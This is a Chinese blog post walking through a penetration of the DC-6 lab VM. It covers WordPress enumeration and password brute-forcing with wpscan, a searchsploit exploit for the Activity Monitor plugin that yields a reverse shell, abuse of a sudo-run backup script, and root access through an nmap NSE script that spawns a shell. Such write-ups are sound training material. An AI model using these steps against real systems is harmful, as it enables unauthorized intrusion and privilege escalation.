Twosmi1e's Blog.

DC-6渗透报告

靶机渗透 wp
Word count: 340 / Reading time: 2 min
2019/10/24 Share

信息收集

Alt text
靶机IP：192.168.61.147
nmap扫描
Alt text

  • 80 web服务 WordPress站点
  • 22 ssh服务

Alt text
wpscan扫描

1
wpscan --url http://wordy/ --enumerate p --enumerate t --enumerate u

Alt text
发现了用户名
Alt text

1
cat /usr/share/wordlists/rockyou.txt | grep k01 > dc6pass.txt

然后开始爆破

暴力破解

1
wpscan --url http://wordy/ -U dc6user.txt -P dc6pass.txt

Alt text
找到密码
Username: mark, Password: helpdesk01
进入后台，有个插件 Activity monitor
Alt text

Alt text

1
searchsploit -m 45274.html

Alt text
改一下这两处改成域名和kali的IP，然后本地访问
Alt text
shell反弹回来，收集信息
找了半天找到一个提示
Alt text
有graham的密码
Add new user: graham - GSo7isUM1D4 - done
切换用户 发现没有root权限的应用但是有jens的
Alt text

1
2
3
4
graham@dc-6:/home/mark/stuff$ cat /home/jens/backups.sh
cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

提权

想到还开了22端口，用graham尝试连了一下，成功
这样操作比反弹的shell方便一点
用vim或者vi无法操作，用nano在后面添加一行
Alt text
然后运行

1
2
graham@dc-6:~$ sudo -u jens /home/jens/backups.sh
jens@dc-6:/home/graham$ sudo -l

Alt text
可以看到切换到了jens用户，/usr/bin/nmap有root权限
然后可以利用nmap来提权
参考链接：https://gtfobins.github.io/gtfobins/nmap/

1
2
jens@dc-6:/home/graham$ echo "os.execute('/bin/sh')">/tmp/root.nse
jens@dc-6:/home/graham$ sudo nmap --script=/tmp/root.nse

提权成功找到flag
Alt text

原文作者: two_smi1e

原文链接: https://www.twosmi1e.com/2019/10/24/DC-6渗透报告/

发表日期: October 24th 2019, 4:55:34 pm

版权声明: 本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. 信息收集
  2. 2. 暴力破解
  3. 3. 提权
Total : 36
2020
2019
2018
2017
ctf php 漏洞复现 靶机渗透 wp Django 安全开发 学习笔记 web安全 总结 OWASP10 编程相关 中间人攻击 漏洞分析 内网 同源策略 前端安全 SQL注入 随笔
ctf